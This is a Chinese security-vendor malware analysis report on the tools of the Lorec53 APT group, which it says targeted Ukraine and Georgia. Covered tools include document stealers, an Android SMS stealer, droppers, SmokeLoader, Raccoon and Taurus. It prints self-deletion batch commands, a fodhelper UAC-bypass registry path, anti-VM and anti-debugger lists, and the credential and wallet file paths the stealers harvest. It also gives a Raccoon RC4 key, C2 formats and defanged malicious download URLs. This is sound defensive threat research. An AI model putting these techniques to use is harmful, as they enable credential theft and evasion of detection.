Lorec53组织分析报告——攻击组件部分

一、前言

Lorec53组织是一个在2021年上半年非常活跃的新型APT组织,主导了多起针对乌克兰、格鲁吉亚等东欧国家的间谍活动。

绿盟伏影实验室威胁狩猎系统发现了Lorec53组织在不同时期使用的不同攻击组件,反映了其攻击手法、攻击目标的快速发展和变化过程。

本文是Lorec53组织系列报告的第二篇文章。本报告将详细分析Lorec53使用的自制木马程序和第三方攻击组件。

二、概述

作为一个活跃在东欧地区的间谍组织,Lorec53在其早期的间谍行动中使用了大量带有俄罗斯黑客背景的攻击组件,包括下载器木马Saint Bot、SmokeLoader;间谍木马Taurus、Raccoon等。这些木马都是来自俄罗斯黑客论坛的零售型恶意程序,早已被多个已知的黑客组织滥用。Lorec53组织选择这些木马程序,可能是希望在一定程度上隐藏自身的行为特征。

然而,这些由俄罗斯黑客制作的木马程序,其开发者为规避法律风险,通常会引入一种语言环境检测机制,避免自身在一些独联体国家设备上运行,这其中就包括Lorec53组织主要目标的乌克兰和格鲁吉亚。

发现该问题后,Lorec53组织放弃了这些第三方木马程序,在后期的间谍活动中构建了以LorecDocStealer、LorecCPL、LorecDropper等自制木马程序为主的简化攻击流程,并调整了所有网络设施用来投放这些特殊木马。这些木马成为了串联Lorec53组织轨迹的重要依据。

三、自制或疑似自制木马程序

3.1 间谍木马-LorecDocStealer

LorecDocStealer(伏影实验室命名)是一种Lorec53组织频繁使用的间谍木马,用于窃取目标主机上的各类文档。

LorecDocStealer是一种autoit独立可执行文件,集成了大量autoit API函数来实现自己的功能。可以通过以下链接查看早期木马程序中提取的autoit代码:https://gist.github.com/malwarezone/119bed274bc77b52122fa118f0a72618#file-stealer-au3-L2880

LorecDocStealer通常被包装在SmartAssembly、Agile等各种流行的C#外壳程序中,由诱饵文档中的恶意代码直接下载执行或通过Saint Bot等下载器木马投递。

早期版本的LorecDocStealer会遍历主机上的磁盘,收集包含doc,pdf,ppt,dot,xl,csv,rtf,dot,mdb,accdb,pot,pps,ppa,rar,zip,tar,7z扩展名的文件。后期的LorecDocStealer在上述列表中增加了txt扩展名。

随后,木马使用DriveGetSerial函数获取磁盘的序列号,与硬编码的url组成一个上传路径。该路径通常为以下格式:

http:// [IP] :8080/upld/[SERIAL]

LorecDocStealer会将找到的每个符合条件的文件上传至该路径下。上传内容包括文件的完整路径与原始内容:

图3.1 LorecDocStea 上传流量

如上图流量所示,文件完整路径为hex字符串形式,文件内容未作加密处理。

文件上传行为结束后,LorecDocStealer木马会在运行路径创建名为”r.bat”的批处理文件,并写入以下内容:

@echo off
:tryrem
del [filepath]
if exist  [filepath] (goto tryrem)
start /b "" cmd /min /c del "%~f0"& Taskkill /IM cmd.exe /F&exit /b

最终,LorecDocStealer木马运行该批处理文件,删除自身痕迹。

3.2 间谍木马-Pardakht

伏影实验室通过一台由Lorec53组织使用的网络设施发现了一种用于监听和上传用户短信的安卓木马。这台网络设备在Lorec53组织使用期间(2021年3月10日~2021年4月8日)被当作这种安卓木马的CnC服务器。由此可以推测,Lorec53组织参与了该木马背后的大型钓鱼活动。伏影实验室根据程序内的特殊字符串,将该木马命名为Pardakht。

目前虽然无法证明Lorec53组织是Pardakht木马的开发者,但该木马的出现和活跃时期与Lorec53组织活动时期高度重合,这体现了两者之间的紧密联系。

Pardakht主要用于攻击伊朗国家银行用户。在捕获到的所有木马样本中,其包名都为”ir.pardakht”,入口为”ir.pardakht.Splash”。

木马程序启动后,首先访问http://[CnC]/license.txt。该license.txt存储一段启动密码,木马程序通过比对该密码决定是否执行后续的功能。在大多数样本中,该密码为字符串”du74eo9″。

 图3.2 Pardakht木马获取licencee

密码验证成功后,木马程序弹出一个对话框,标题为”در حال اتصال به بانک”(连接银行),内容为”لطفا منتظر بمانید.”(请稍等。)

对话框显示期间,木马程序进行了如下操作:

  1. 访问http://[CnC]/MainDomain.txt,获取一个用于欺骗用户的诱饵网页链接;
  2. 启动名为”SmsReceiver”的短信转发模块,将用户接收到的短信内容组合成如下json格式:

{
"id":[Build.ID],
"link":"/Mellat/index.php",
"msg":[smsdisplayMessageBody],
"num":[smsdisplayOriginatingAddress]
}

并将其发送至固定网址http://[CnC]/otp.php;

3.在应用中打开前述步骤中获得的诱饵网页链接的”/Mellat/index.php”页面。一个典型的诱饵网页为http[:]//www.sharj4030.com/Mellat/index.php

4.上述操作成功后,向指定地址http://[CnC]/otp.php发送POST请求包,包括如下参数:

install=تارگت [Build.ID] برنامه را نصب کرد&id=[Build.ID]&link=/Mellat/index.php

 相关主体逻辑代码如下图:

 图3.3 Pardakht木马主体逻辑

木马的”SmsReceiver”模块中,使用createFromPdu逻辑获取宿主机接收的短信并转储:

图3.4 Pardakht木马SmsReceiver模块逻辑

随后将转储的sms数据发送至CnC:

图3.5 Pardakht木马sms信息发送逻辑

通过这种方式,木马实现了用户短信信息的窃取功能。

3.3 下载者木马-LorecDropper

Lorec53曾在3月的攻击活动使用一种疑似自制的下载者木马LorecDropper(伏影实验室命名),用于投递SmokeLoader木马。

该木马包含以下对抗功能:

  1. 检测模块名称”SbieDll”(Sandboxie )
  2. 检测进程名”Wireshark”
  3. 检测进程信息字符串”The Wireshark Network Analyzer”
  4. 检测进程名”process monitor”
  5. 通过以下逻辑检测程序运行速度:
 图3.6 LorecDropper木马时间差检测逻辑

该木马可以同时作为Dropper木马或Downloader木马使用,程序将根据关键对象的初始化结果决定后续的恶意行为。

如果Dropper对象被初始化,木马会根据该对象的属性,将程序内置的二进制内容保存至如下路径之一并运行:

%TEMP%
<User Account>\Downloads
<User Account>\Desktop
<User Account>
<Current Path>

如果Downloader对象被初始化,木马会根据变量指定的参数内容,从多个url下载后续的木马程序并运行。

某个Downloader对象包含的关键属性如下:

属性名属性值1属性值2
A4WBW3KzNKAUxjsZM5O“http[:]//001000100.xyz/soft/def.exe”“http[:]//001000100.xyz/soft/upd03212-2.exe”
zYClwE3MQoj“def.exe”“upd03212-2.exe”
表3.1 木马LorecDropper属性

如果Debug对象被初始化,木马会根据指定参数弹出一个MessageBox。

程序释放或下载完毕后,将会使用如下指令删除自身文件:

cmd /C ping 1.1.1.1 -n 1 -w 100 > Nul & Del “Environment.GetCommandLineArgs()[0]”& ping 1.1.1.1 -n 1 -w 900 > Nul & Del “Environment.GetCommandLineArgs()[0]”

3.4  下载者木马-LorecCPL

LorecCPL(伏影实验室命名)是由Lorec53开发的小型下载者木马,用于伪装成cpl文件,由pdf文件内置的恶意链接访问并执行。

LorecCPL实际上是FASM程序,实现了CPLApplet方法,通过该方法实现基于WinHttp的下载功能:

图3.7  LorecCPL木马下载逻辑

四、第三方木马程序

4.1 下载者木马-Saint Bot

Saint Bot是最早由MalwareBytes公司发现[1]的一种下载者木马程序,因其使用的固定互斥体名称“Saint_V3”而得名。该木马的主要功能包括上传信息、下载恶意软件并更新,以及加载恶意DLL文件等。

Lorec53组织曾在早期的间谍活动中将该木马作为攻击流程中的中间件来使用,用于投放后续的几种间谍木马程序。

4.1.1 对抗行为

Saint Bot使用了字符串混淆以及动态函数加载的方法规避静态分析和检测。

图4.1 Saint Bot木马字符串混淆和动态API加载逻辑

完成基本的函数加载后,Saint Bot将进行如下环境检测操作:

  1. 判断国家和地区是否在以下白名单中;
IDlanguage
1049俄语
1058乌克兰语
1059白俄罗斯语
1067亚美尼亚语
1087哈萨克语
2072罗马尼亚语
2073摩尔多瓦语
表4.1 Saint Bot语言检测名单

2.检测当前程序是否被调试;

图4.2 Saint Bot木马检测调试状态

3.检测当前程序是否运行在沙箱中;

图4.3 Saint Bot木马检测沙箱状态

若未通过检测,攻击者在%APPDATA%目录下创建名为del.dat的批处理脚本,执行命令:ping localhost -n 3 && del \[malware_file_path] \r\nstart /b \”\” cmd /c del \”%~f0\”&exit /b,完成后退出程序。

4.1.2 持久化

Saint Bot采用了多种方法完成驻留:

  1. 复制自身到C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录下;
  2. 在%APPDATA%\local\z_[username]目录下创建vbs脚本;
  3. 在注册表项:\Registry\User\S-1-5-21-199803413-3788240736-4104577930-1000\Software\Classes\ms-settings\Shell\Open\command添加键值,并将自身拷贝至C:\Windows\System32\fodhelper.exe;
  4. 注入C:\Windows\System32\EhStorAuthn.exe;
图4.4 Saint Bot木马注入逻辑

4.1.3 通信

Saint Bot使用硬编码的C2地址和HTTP协议完成通信,HTTP协议相关内容均加密存放:

图4.5 Saint Bot木马获取http属性字符串

Saint Bot获取了计算机的大部分基础信息,包括显示器、显卡、地理位置、处理器内存等,并通过HTTP请求发送至CnC;接收数据则通过字符”\”和”:”符号进行分割,获取数据内容。

CnC发送的数据对应如下格式:

[命令字]”[命令内容]”[链接]”

示例:

\de"programdata"http://name1d.site/file.exe\'

通过解析获取到的数据内容,Saint Bot可以执行以下动作:

Action
下载执行
升级
卸载
DLL模块加载执行
表4.2 Saint Bot动作列表

4.2 下载者木马-SmokeLoader

Lorec53组织曾在3月的攻击活动中,短暂使用SmokeLoader作为最终阶段的间谍木马程序。

SmokeLoader是最早出现在2011年的恶意木马程序,其开发者对该木马的更新频率较高,使其融合了大量主流或独特的木马技术。

SmokeLoader木马本体实际上是整个SmokeLoader框架的下载器组件,用于进程注入、CnC连接与下载执行后续攻击组件。SmokeLoader木马的主体结构一般分为两部分,分别是外部注入器和本体shellcode。

4.2.1 注入器

外部注入器用于实现SmokeLoader独特的进程劫持行为。

这种注入器的常见形态是严重混淆的C程序,并搭载大量对抗技术。

Lorec53组织大多使用2020版本的SmokeLoader木马程序,该版本木马的对抗技术包括:

  1. 检查权限

木马程序通过创建指定进程确定自身是否具有高权限;

2.检查系统版本

木马程序不会在Windows Vista以下的版本运行;

3.检查调试状态

木马通过通过PEB获取NtGlobalFlag,确认自身是否处于调试态;

通过NtQueryInformationProcess查询DebugPort以检测是否处于调试态及驱动程序签名策略;

4.检查系统语言环境

木马通过GetKeyboardLayoutList检测语⾔是否为乌克兰语或俄语;

5.检测虚拟机环境

木马检查以下虚拟化环境常见的进程名称:

Proc name
qemu-ga.exe
qga.exe
windanr.exe
vboxservice.exe
vboxtray.exe
vmtoolsd.exe
prl_tools.exe
表4.3 SmokeLoader木马检测进程名称列表

检查以下虚拟化环境常见的文件名的片段:

File name
vmci.s
vmusbm
vmmous
vm3dmp
vmrawd
vmmemc
vboxgu
vboxsf
vboxmo
vboxvi
vboxdi
vioser
表4.4 SmokeLoader木马检测文件名称列表

检测当前进程是否加载了以下沙箱相关的DLL:

Dll name
sbiedll
aswhook
snxhk
表4.5 SmokeLoader木马检测dll名称列表

检测注册表项是否存在以下虚拟化相关键值:

Registry path
HKLM\REGISTRY\MACHINE\System\CurrentControlSet\Enum\IDE
HKLM\REGISTRY\MACHINE\System\CurrentControlSet\Enum\SCSI
表4.6 SmokeLoader木马检测注册表路径
Value name
qemu
virtio
vmware
vbox
xen
表4.7 SmokeLoader木马检测注册表值名称

6.检查进程UAC权限

7.检测自身文件名是否为固定字符串

上述检查均通过后,木马程序进入注⼊流程。

该版本的SmokeLoader会使用两种注入方式实现注入:

  1. MapViewOfSection+RtlCreateUserThread

木马判断当前运行环境为x86时,会使用传统的RtlCreateUserThread方式实现注入;

图4.6 SmokeLoader木马RtlCreateUserThread注入逻辑

2.Heaven’s Gate

如果运⾏环境为64位,木马使用通过天堂门技术实现注⼊;

图4.7  SmokeLoader木马Heaven’s Gate注入逻辑

4.2.2 shellcode

shellcode部分是SmokeLoader木马主体,与硬编码CnC通信,获取CnC下发的组件并加载执行。

该shellcode运行时首先通过遍历进程,结束具有以下自定义Hash的进程:

HashProcs
71FA3E32ollydbg.exe
CAEDF0C5Autoruns.exe
BB225BFAprocmon64.exe
EC94412Ex32dbg.exe
90FA0D56idaw.exe
6FD41E32procexp.exe
D2944C29x64dbg.exe
B8303327procexp64.exe
67F5193Cprocmon.exe
90FA0B7Cidaq.exe
7ADA043DTcpview.exe
AF4BECF9idaw64.exe
9561ECF9idaq64.exe
BBE0A16AWireshark.exe
B0DC2D0EProcessHacker.exe
表4.8 SmokeLoader木马检查进程哈希与对应名称列表

通过枚举窗⼝类,结束具有以下Hash的进程:

Hash
FDF01DB0
D1CD3787
09DFF51E
FEEB0718
F638EBE8
E3CED0CD
22ED23F9
FEEA2891
表4.9 SmokeLoader木马检查哈希列表

随后shellcode通过设置计划任务实现持久化,格式为Firefox Default Browser Agent %hs,周期为10分钟。

shellcode与CnC的通信使用rc4加密,其初始通信内容解密后为带有木马版本和受控端id等信息的二进制数据。

原始通信流量具有以下形式:

图4.8 SmokeLoader木马原始通信流量

加密的正文部分内容对应以下原始内容:

图4.9 SmokeLoader木马通信流量还原内容

该内容符合以下数据结构:

struct decipher_data
{
WORD magic;
BYTE bot_id[40];
BYTE computer_name[16];
BYTE botnet_id[6]; //const str '0322'
BYTE os_version;
BYTE sec_flag0;
BYTE sec_flag1;
WORD comm_id;
DWORD task_index;
DWORD if_working_tmp;
BYTE[n] extra;
}

CnC的回复消息会伪装成各种HTTP Error信息,但在正文末端附加可解析的数据。

这些数据经RC4加密,遵循以下格式:

[PACKET_LEN-4 BYTES][E4 07-2 BYTES][plugin_size:size/i/r/u]|:|[EXTRA_DATA]

SmokeLoader木马根据该数据内容,执行以下指令以下载后续组件:

cmd_codefunction
plugin_size映射EXTRA_DATA
i下载⽂件并根据类型执⾏,可以为dll/exe/bat
r卸载
u在i的前提下执⾏更新
表4.10 SmokeLoader木马指令列表

目前已知的SmokeLoader组件包括窃密工具、文件遍历工具、DDoS工具等,此外SmokeLoader还可以投放其他知名木马或挖矿木马。

4.3 间谍木马-Raccoon

Raccoon是一种窃密木马,首次出现于2019年。Raccoon木马的作者以“raccoonstealer”的昵称出没于俄罗斯黑客论坛,用较低的价格兜售该木马。

Lorec53组织在过渡到LorecDocStealer木马之前,曾短暂使用该木马进行间谍活动。

4.3.1 对抗行为

Raccoon木马会在运行时检测系统语言,回避下述独联体国家:

Language语言
Russian俄语
Ukrainian乌克兰语
Belarusian白俄罗斯语
Kazakh哈萨克语
Kyrgyz吉尔吉斯语
Armenian亚美尼亚语
Tajik塔吉克语
Uzbek乌兹别克语
表4.11 Raccoon木马检查语言列表

Raccoon木马使用RC4算法和Base64编码来对通信内容进行加密,其常用RC4初始密钥为16字节的以下十六进制值:

24 5A 32 73 60 74 65 6E 5C 40 62 45 39 76 7A 52

而对于一些重要字符串,Raccoon使用简单的异或加密,其中密钥为1个字节,通常放在密文字节串的头部。

4.3.2 获取CnC

Raccoon木马使用公有服务作为跳板,获取CnC地址。

一例Lorec53组织使用的木马程序中,程序首先通过硬编码链接https[:]//tttttt.me/jiujitsunewmax7获取Telegram页面内容:

图4.10 Raccoon木马获取的Telegram页面

随后解析网页源码的tgme_page_description标签,获取加密的2级CnC地址:

图4.11 Telegram页面中包含的加密字符串

该字符串解密后得到http[:]//81.2.253.71。

4.3.3 获取配置信息

获得2级CnC后,木马向该地址发送HTTP POST请求以获得配置信息,发送的内容经过了编码和加密,原始格式如下:

b=%guid%_%username%&c=%hash%&f=json

其中json代表配置格式,而c=部分代表配置的hash。 

图4.12 Raccoon木马原始流量

该配置信息对应如下的字段:

字段名内容
_id配置id,
au请求sqlite组件时的HTTP路径
ls请求其他组件压缩包时的HTTP路径
ip本机IP地址
location本机位置信息,包括国家、地区、城市和经纬度。
lu其他恶意组件链接、要窃取的支付卡类型。
rm是否自删除
is_screen_enabled是否截屏
is_history_enabled是否窃取浏览器历史记录
表4.12 Raccoon木马配置信息属性对应列表

作为参考,一台位于奥地利的主机的示例配置如下:

{    
"_id": "lhP5EnsBagrSXdgR2-bV",    
"au": "/l/f/lhP5EnsBagrSXdgR2-
bV/0434ed90680803d9f897b9cb8755ce92efe9f6c4",    
"ls": "/l/f/lhP5EnsBagrSXdgR2-
bV/e80d11be4f0133556baeee662d1dd5351227fcc5",    
"ip": "185.183.107.236",   
  "location": {        
"country": "Austria",        
"country_code": "AT",        
"state": null,        
"state_code": null,        
"city": null,        
"zip": null,        
"latitude": 48.2,        
"longitude": 16.3667    
},    
"c": {        
"m": null,        
"t": null,        
"lu": null    
},    
"lu": [        
{            
"u": null            
"l": [                
"paypal",                
"amazon"            
],            
"t": 0        
}    
],    
"rm": 1,    
"is_screen_enabled": 1,   
"is_history_enabled": 1,    
"depth": 3,    
"s": []
}

4.3.4 下载组件

Raccoon木马随后使用配置中的au和ls作为HTTP请求路径,下载sqlite3组件和一个包含多个必需dll程序的压缩包:

图4.13 Raccoon木马下载扩展组件时的请求流量

该压缩包包含以下文件: 

图4.14 Raccoon木马获取到的压缩包内容

4.3.5 窃密

Raccoon会窃取加密货币钱包凭据、浏览器凭据+cookies+历史记录、Outlook客户端凭据、指定支付卡内容,并进行屏幕截图和收集系统信息。

 Raccoon的目标包括:

  1. 加密货币钱包;
钱包应用名称
Atomic wallet
Electron Cash
Ethereum wallet
Exodus wallet
Jaxx wallet
Monero wallet
MyMonero
Guarda
Jaxx Liberty Wallet
表4.13 Raccoon木马目标钱包应用列表

2.浏览器客户端存储的凭证信息;

浏览器名称浏览器名称
Google Chrome BetaQIP Surf
Google Chrome SxSEpic Privacy
Microsoft EdgeCocCoc
ChromiumCentBrowser
Xpom7Star
Comodo DragonElements
AmigoTorBro
OrbitumSuhba
BromiumSafer Browser
BraveMustang
NichromeSuperbird
RockMeltChedot
360BrowserTorch
VivaldiQQ Browser
OperaUC Browser
KometaMozilla Firefox
UranWaterFox
 SputnikSeaMonkey
 ThunderbirdPale Moon
表4.14 Raccoon木马目标浏览器列表

3.OutLook内容,包括服务器地址端口、用户名、Email地址和密码,涉及协议有:SMTP、POP3、NNTP、IMAP和HTTPMail;

4.系统信息,包含系统版本、名称、屏幕分辨率、显卡、主机名用户名,以及安装的App名称及版本号。

5.支付卡信息,如paypal和amazon。

4.3.6 上传

Raccoon木马会在AppData\LocalLow\目录下生成一个包含其所有窃取信息的压缩包,文件名称由配置信息中的_id决定。

该压缩包结构如下:

图4.15 Raccoon木马生成的压缩包结构

随后,Raccoon木马通过HTTP POST上传该压缩包:

图4.16 Raccoon 木马上传压缩包时的流量

4.4 间谍木马-Taurus

Taurus是一种窃密木马,可以窃取大量应用程序中保存的密码内容。该木马由曾制作过知名木马程序PredatorTheThief的俄罗斯黑客Alexuiop1337开发,并在俄罗斯黑客论坛出售。

Lorec53组织曾将该木马用于早期的间谍活动中,作为Saint Bot下载和执行的最终阶段载荷。

4.4.1对抗行为

Taurus木马在代码中大量使用了代码混淆技术,例如XOR加密字符串、SUB加密字符串,使得恶意软件较简单的功能转化为大量代码。

Taurus木马会在运行时检测计算机语言环境,避免自身在以下独联体国家的操作系统中运行:

LangID语言标签语言
0x419ru-RU俄语
0x42Bhy-AM亚美尼亚语
0x423be-BY白俄罗斯语
0x437ka-GE格鲁吉亚语
0x43Fkk-KZ哈萨克语
0x428tg-Cyrl-TJ塔吉克语(西里尔文)
0x843uz-Cyrl-UZ乌兹别克语
0x422uk-UA乌克兰语
表4.15 Taurus木马检查语言列表

Taurus通过接收cfg数据获取配置信息,按照动态获取到的配置或者默认配置初始化后续操作需要用的配置选项。

图4.17 Taurus木马获取配置信息

Taurus木马会进行虚拟机检测,使用sidt,sgdt,sldt,smsw,str,cpuid等虚拟机检测技术。

图4.18 Taurus木马进行虚拟机检测

恶意程序会判断初始化配置结果和虚拟机检测结果,如果两个条件都满足则执行后续窃密操作。

4.4.2 窃密

Taurus木马会收集以下宿主机信息:

  1. 屏幕截图;
  2. 数字货币钱包数据;

针对的钱包应用包括Electrum, MultiBit, Ethereum, Armory, Jaxx Liberty, Bytecoin, Atomic, Exodus等。

3.部分高价值应用相关数据;

应用相关文件或者注册表路径
steamHKCU\Software\Valve\Steam\SteamPath
Battle.net%localappdata%\Battle.net\CachedData.db
TelegramHKCU\Software\Classes~\Telegram Desktop\tdata HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1\InstallLocation HKCU\Software\Classes\tdesktop.tg\DefaultIcon
Discord%AppData%\discord\Local Storage
Jabber%appdata%\.purple\accounts.xml %appdata%\Psi+\profiles\default\accounts.xml %appdata%\Psi\profiles\default\accounts.xml
FoxmailHKLM\SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command
OutlookHKCU\Software\Microsoft\Office HKCU\Software\Microsoft\Windows Messaging Subsystem\Profiles HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
FileZilla%appdata%\FileZilla\recentservers.xml %appdata%\FileZilla\sitemanager.xml
WinFTPProgramFiles(x86) \WinFtp Client\Favorites.dat  
WinSCPHKCU\Software\Martin Prikryl\WinSCP 2\Sessions
Authy% appdata%\Authy Desktop\Local Storage\*.localstorage
NordVPN%localappdata%\NordVPN\NordVPN*
表4.16 Taurus木马目标应用列表

4.高价值文件;

文件类型
Login Data
Cookie
Web Data
History
formhistory.sqlite
cookies.sqlite
wallet.dat
main.db
logins.json
places.sqlite
表4.17 Taurus木马目标文件类型列表

5.windows Vault相关数据;

6.Edge浏览器数据;

7.系统信息数据;

相关主机信息包括Date、IP、Country、OS、磁盘、用户名等。

8.安装软件列表;

通过读取注册表路径HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall获取已安装软件名称和版本信息。

4.4.3 通信

Taurus与CnC连接,上传其收集到的信息。该通信使用https协议。

Taurus上传过程分两部分,第一部分是发送信息汇总,汇总的内容显示了目标机器的通用信息和密码、cookies等信息的计数。汇总内容通过RC4和Base64加密,然后以POST请求发送。

图4.19 Taurus木马上传信息格式A

另外一部分是负责上传恶意代码在内存中生成ZIP的结构。恶意代码执行过程中直接在内存中实现对被窃取数据和文件的打包,并将ZIP内存附加到文件上传请求中进行发送。

图4.20 Taurus木马上传信息格式B

该压缩包文件结构和部分内容如下:

图4.21 Taurus木马压缩包格式与内容

Taurus木马如果在第一个请求中没有获取CnC的响应,就会执行静态配置的窃密功能,并最终调用cmd命令执行自删除操作。

五、小结

深入的攻击组件分析表明,Lorec53组织对攻击工具的选用有明确的倾向。在已知的间谍活动中,该组织仅选用具有完善文件窃取功能的间谍木马和具备一定对抗能力的下载者木马,并且倾向于从俄罗斯黑客论坛获取这些程序。事实证明,使用SmokeLoader、Raccoon、Taurus等第三方攻击工具确实起到了藏木于林的效果,基于这些木马的大量且同质化的黑客活动容易使威胁研究者失去跟踪的线索,从而在一定程度上掩盖了Lorec53组织早期攻击活动的痕迹。

LorecDocStealer、LorecCPL等专有攻击工具的大量出现,则是Lorec53组织调整攻击目标后的结果。与成熟的第三方木马程序相比,这些自制工具更像是一些临时解决方案,用于处理第三方木马的语言规避机制与Lorec53组织攻击目标之间的矛盾。有理由相信,更多更复杂的木马程序将在后续的Lorec53攻击活动中出现。

参考链接

[1] https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/

版权声明

本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。

Spread the word. Share this post!

Meet The Author

伏影实验室专注于安全威胁监测与对抗技术研究。
研究目标包括Botnet、APT高级威胁,DDoS对抗,WEB对抗,流行服务系统脆弱利用威胁、身份认证威胁,数字资产威胁,黑色产业威胁及新兴威胁。通过掌控现网威胁来识别风险,缓解威胁伤害,为威胁对抗提供决策支撑。

Leave Comment